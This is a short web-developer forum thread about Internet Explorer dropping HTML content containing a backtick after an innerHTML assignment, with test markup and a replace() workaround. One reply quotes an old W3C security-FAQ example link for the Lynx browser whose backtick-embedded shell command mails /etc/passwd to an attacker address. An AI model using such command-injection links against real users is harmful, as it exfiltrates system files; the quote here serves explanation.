Tek-Tips is the largest IT community on the Internet today!

Members share and learn making Tek-Tips Forums the best source of peer-reviewed technical information on the Internet!

  • Congratulations MikeeOK on being selected by the Tek-Tips community for having the most helpful posts in the forums last week. Way to Go!

Backtick ` char causes undefined value

Status
Not open for further replies.

lihc

Programmer
Jun 24, 2005
1
US
The following code is an example of an error I have encountered with the backtick ` char. When the backtick is present in html and then assigned to a javascript object that portion of the html becomes undefined.

<html>

<head>

<title>JavaScript ` Backtick Error</title>

<script language="JavaScript">

function getBackTickData() {

//this assignment is where the error occurs
bd = backtickdata.innerHTML ;

//output.innerHTML will not contain the "hasbacktick" input
output.innerHTML = bd ;

//this happens in IE but not Firefox

alert( ' backtickdata.innerHTML = ' + backtickdata.innerHTML + '\n\n' +
' bd = backtickData.innerHTML ; ' + '\n\n' +
' output.innerHTML = bd ; ' + '\n\n' +
' output.innerHTML = ' + output.innerHTML ) ;

return ;

}

</script>

</head>

<body onload="getBackTickData()" >

<div id="backtickdata" >

<input type="hidden" name="nobacktick" value="nobacktick" />

<input type="hidden" name="hasbacktick" value="`hasbacktick" />

</div>

<div id="output" >
</div>

</body>

</html>

the alert box will show both hidden inputs when it displays
backtickdata.innerHTML but then will loose the second input after the assinment and only display the first when it displays output.innerHTML. The solution I have come up with is to use
bd = backtickdata.innerHTML.replace('`','&#96;') ;
.

Does anyone know why this happens.
( it happens in IE and not Firefox ).
 
Possibly a bug or possibly a security patch that prevents sql injection attacks or hacks on UNIX/LINIX like so:
Code:
<!-- Source: [URL unfurl="true"]http://www.w3.org/Security/Faq/wwwsf2.html[/URL] -->
<a href="LYNXDOWNLOAD://Method=-1/File=`mail%20hackers@hack.com%3C/etc/passwd`/SugFile=test">
CLICK HERE
</a>
Your guess is as good as mine. It works fine if the backtick is the second character instead of the first.

Adam
 
Status
Not open for further replies.

Part and Inventory Search

Sponsor

Back
Top